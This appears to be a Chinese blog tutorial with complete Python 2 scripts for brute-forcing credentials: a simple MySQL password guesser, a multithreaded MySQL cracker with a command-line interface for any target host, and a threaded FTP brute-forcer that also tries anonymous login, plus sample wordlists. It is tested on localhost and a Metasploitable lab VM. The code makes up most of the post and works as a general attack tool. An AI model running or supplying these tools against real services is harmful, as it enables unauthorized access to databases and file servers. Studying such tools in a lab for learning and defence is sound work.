Python开发爆破工具
上一篇讲到了如何用Python开发字典,而当我们手里有了字典
就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写
接下来我就要一步一步来写爆破工具!
爆破MySQL:
想要爆破MySQL目标至少要允许远程连接
我这里没有开启远程连接,只是爆破本地的MySQL
实际上,如果掌握了如何爆破本地MySQL,那么想要远程爆破MySQL也是很轻松的
最基本的实现:
- # -*-coding:utf-8 -*-
- import pymysql
- mysql_username = ('root', 'test', 'admin', 'user')
- mysql_password = ('', '', 'test', 'root', 'admin', 'xuyiqing', 'user')
- success = False
- host = "127.0.0.1"
- port = 3306
- for username in mysql_username:
- for password in mysql_password:
- try:
- db = pymysql.connect(host, username, password)
- success = True
- if success:
- print "用户名:" + username + " 密码:" + password + " 破解成功"
- except Exception, e:
- print "用户名:" + username + " 密码:" + password + " 破解失败"
- pass
固定好哪些用户名和哪些密码,以及爆破的IP和端口,直接执行即可
进阶的MySQL爆破脚本:写的很完整,支持多线程
- # -*-coding:utf-8 -*-
- """
- MySQL爆破脚本
- 用法:
- python MysqlCrack2.py -H [目标IP] --u [用户字典] --p [密码字典] -P [端口]
- """
- import re
- import socket
- import optparse
- import threading
- try:
- import pymysql
- except ImportError:
- print "[!] You need to install pymysql module!"
- print "[!] Usage:pip install pymysql"
- exit()
- result_user = None
- result_pass = None
- threads = []
- def main():
- """
- 处理输入参数
- :return:None
- """
- print "Welcome to MysqlCrack2"
- print "Author: Xuyiqing Version:1.0"
- parse = optparse.OptionParser(
- 'python %prog -H <target host> --u <users dictionary> --p <password dictionary> -P <port>')
- parse.add_option('-H', dest="target_host", type="string", help='specify the host')
- parse.add_option('--u', dest='user_dic', type='string', help='specify the dictionary for user')
- parse.add_option('--p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
- parse.add_option('-P', dest='port', type='int', help='specify the port')
- (options, args) = parse.parse_args()
- target_host = options.target_host
- user_dic = options.user_dic
- pwd_dic = options.pwd_dic
- port = options.port
- if target_host is not None and re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', target_host):
- mysql_brute(target_host, user_dic, pwd_dic, port)
- else:
- print "[!] Unknown IP\n"
- exit()
- def mysql_brute(host, user_dic, pwd_dic, port):
- """
- MySQL暴力破解
- :param host: 主机
- :param user_dic: 用户字典
- :param pwd_dic: 密码字典
- :param port: 端口
- :return: None
- """
- print "[*] Target:" + host
- print "[*] Start cracking"
- userlist = None
- pwdlist = None
- try:
- socket.gethostbyname(host)
- except Exception:
- print '[*] Cannot connect to %s' % host
- exit()
- try:
- userlist = [i.strip('\n') for i in open(user_dic, 'r').readlines()]
- pwdlist = [j.strip('\n') for j in open(pwd_dic, 'r').readlines()]
- print "[*] Number of users:" + str(len(userlist))
- print "[*] Number of passwords:" + str(len(pwdlist))
- except Exception:
- print "[!] The path of the dictionary file is incorrect"
- exit()
- global threads
- for user in userlist:
- for pwd in pwdlist:
- t = threading.Thread(target=mysql_login, args=(host, user, pwd, port))
- t.start()
- threads.append(t)
- def mysql_login(host, username, password, port):
- """
- MySQL连接
- :param host:主机
- :param username:用户名
- :param password: 密码
- :param port: 端口
- :return: None
- """
- try:
- db = pymysql.Connect(host=host, port=port, user=username, passwd=password)
- print "[+] Success! User:" + username + " Password:" + password + "\n"
- global result_user, result_pass
- result_user = username
- result_pass = password
- db.close()
- exit()
- except Exception:
- print "[-] Fail! User:" + username + " Password:" + password + "\n"
- if __name__ == '__main__':
- main()
- for thread in threads:
- thread.join()
- if result_user is not None and result_pass is not None:
- print "[+] Result: %s - %s" % (result_user, result_pass)
- if result_user is None and result_pass is None:
- print "[+] Crack Fail"
FTP破解工具开发:
实际去安装一些FTP软件比较困难,我这里就用Metasploitable Linux
启动后默认开启FTP服务,我这里的IP是192.168.232.129
Metaploitable Linux的FTP可以匿名登陆,并且已知一个账号密码为:msfadmin-msfadmin
- # -*-coding:utf-8 -*-
- import optparse
- import ftplib
- import threading
- import socket
- def anony_login(host):
- """
- FTP匿名登陆
- :param host:主机
- :return: None
- """
- try:
- ftp = ftplib.FTP(host)
- ftp.connect(host, 21, timeout=10)
- ftp.login('anonymous', 'test@qq.com')
- ftp.retrlines('LIST')
- ftp.quit()
- print "\n[*]" + str(host) + " FTP Anonymous Login Success"
- except Exception:
- print "\n[-]" + str(host) + " FTP Anonymous Login Fail"
- def ftp_login(host, username, password):
- """
- 尝试用户密码登陆FTP
- :param host:主机
- :param username:用户名
- :param password:密码
- :return:None
- """
- try:
- print "[-] Trying: " + username + "-" + password + "\n"
- ftp = ftplib.FTP(host)
- ftp.connect(host, 21, timeout=10)
- ftp.login(username, password)
- ftp.retrlines("LIST")
- ftp.quit()
- print "Success! " + username + " - " + password
- except ftplib.all_errors:
- pass
- def brute_force(host, users_file, pwds_file):
- """
- 暴力破解
- :param host: 主机
- :param users_file:用户字典
- :param pwds_file: 密码字典
- :return: None
- """
- users_f = open(users_file, 'r')
- pwds_f = open(pwds_file, 'r')
- for user in users_f.readlines():
- pwds_f.seek(0)
- for password in pwds_f.readlines():
- username = user.strip('\n')
- password = password.strip('\n')
- t = threading.Thread(target=ftp_login, args=(host, username, password))
- t.start()
- def main():
- """
- 主函数,处理输入参数
- :return:None
- """
- parser = optparse.OptionParser('usage%prog -H <target host> -u <users dictionary> -p <password dictionary>')
- parser.add_option('-H', dest='target_host', type='string', help='specify the host')
- parser.add_option('-u', dest='user_dic', type='string', help='specify the dictionary for user')
- parser.add_option('-p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
- (options, args) = parser.parse_args()
- host = options.target_host
- user_dic = options.user_dic
- pwd_dic = options.pwd_dic
- try:
- socket.gethostbyname(host)
- except Exception:
- print '[*] Cannot Resolve %s Unknown host' % host
- exit()
- anony_login(host)
- brute_force(host, user_dic, pwd_dic)
- if __name__ == '__main__':
- main()
使用的话,需要两个字典:用户字典和密码字典,我随便加入一些东西
username.txt
- root
- user
- admin
- msfadmin
- manager
password.txt
- pwd
- password
- userpass
- msfadmin
- manager
- 123456
实际使用:-H 输入IP -u 用户名字典 -p 密码字典
结果:上边已经找到匿名登陆,还有下图的msfadmin,说明破解成功了
Python开发爆破工具的更多相关文章
- Python开发爆破字典
这里只是分享一下Python如何生成爆破字典 关于爆破工具编写我会在下一篇提到 其实有了爆破字典的话,直接使用Burp,Hydra等一些工具就可以做爆破了! Burp的使用在我以前的博客中有写过,至于 ...
- Python开发GUI工具介绍,实战:将图片转化为素描画!【华为云技术分享】
版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/devcloud/article/detai ...
- Python开发GUI工具介绍,实战:将图片转化为素描画!
欢迎添加华为云小助手微信(微信号:HWCloud002 或 HWCloud003),输入关键字"加群",加入华为云线上技术讨论群:输入关键字"最新活动",获取华 ...
- pipenv 方便的python 开发工作流工具
pipenv 将 composer.bundler.npm.yarn.cargo 等比较方便的包管理工具添加到了python 语言中,可以 帮助我们自动的管理virtualenv ,同时可以方便的从p ...
- python 后台爆破工具(多线程)
非阻塞 q.put(item) 写入队列,timeout等待时间 q.put_nowait(item) 相当q.put(item, False) threads多线程 首先导入threadin ...
- python 后台爆破工具
sys:使用sys模块获得脚本的参数 queue模块,创建一个“队列”对象 time 模块 Python time time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数). fin ...
- Python开发专业工具推荐
PyCharm,jetbrains公司出品,必是精品!! 版本:2016.3.1 下载:https://www.jetbrains.com/pycharm/download/#section=wind ...
- Python开发GUI实战:图片转换素描画工具!
奋斗没有终点 好好学习72变,因为将来 没有人能替你阻挡81难 . 生如蝼蚁,当有鸿鹄之志: 命如纸薄,应有不屈之心 . 今天被这句话触动了,所以开篇分享给大家.鸡汤有毒,但有时大家却靠它激励自己 ...
- 路飞学城-Python开发-第一章
# 基础需求: # 让用户输入用户名密码 # 认证成功后显示欢迎信息 # 输错三次后退出程序 username = 'pandaboy' password = ' def Login(username ...
随机推荐
- 微信小程序上拉下拉刷新
小程序提供了,onPullDownRefresh和onReachBottom两个事件函数监听下拉和上拉事件函数.提示加载中,取消加载中 效果: js文件 // pages/enterprise/ent ...
- dskinlite(uieasy mfc界面库)使用记录4:listbox测试
先看效果图: xml代码: 作者qq:80101277,dskinlite交流qq群:138231653 <window name="listbox1" type=" ...
- iptables命令提取总结,包含扩展模块<取自朱双印博客>
以下内容只是一些命令相关的,以朱双印博客中的iptables的教程提取出来的.纯粹只是命令的总结,如果需要看理论的知识,建议去看朱老师的博客,目前还没有看到写得比这个好的了. <http://w ...
- mysql too many connection 解决
最近的项目用了动态切换数据源起初感觉还好,后来发现每次切换数据库都会创建一个新的连接,这样就导致大量的sleep线程.而mysql的默认sleep时间是28800秒....默认最大连接数为151,这就 ...
- 第二阶段第六次spring会议
昨天我将对初始页面进行加工和修改. 我用两个小动物作为按钮分别进入动物便签界面和植物便签界面,可以让用户自由选择. 今天我将尝试对软件进行添加搜索引擎的界面. private void linkLab ...
- Unity3D 在Update中不要过多地修改Transform 信息
前文说到碰撞检测时候,不要在Update内部尝试移动GameObject 来检查碰撞检测,这样是徒劳无功.但是 说到 因为你移动的过程中其实并没有将实际的移动位置更新到物理引擎,只是做了个缓存而已, ...
- 找出数组中最大值and索引
找出数组中的最大值和和最大值的索引位置..... 第一中方法: /** * 找出数组中最大值和最大值的索引 * @param args */ public static void main(Strin ...
- jquery学习总结24-36
一.jquery的自定义事件 1.自定义事件不能通过eventName()来添加,只能通过on来绑定 2.自定义事件需要通过trigger(自动触发)来进行触发 二.jauery事件命名空间 1.事件 ...
- Spring资源加载器抽象和缺省实现 -- ResourceLoader + DefaultResourceLoader(摘)
概述 对于每一个底层资源,比如文件系统中的一个文件,classpath上的一个文件,或者一个以URL形式表示的网络资源,Spring 统一使用 Resource 接口进行了建模抽象,相应地,对于这些资 ...
- 【ORA-12516 TNS监听程序找不到符合协议堆栈要求的可用处理程序】
服务器上某个数据库出现' ORA-12516: TNS: 监听程序找不到符合协议堆栈要求的可用处理程'错误,要解决该问题首先查看一下数据库现有的进程数,是否已经达到参数processes的大小. 取得 ...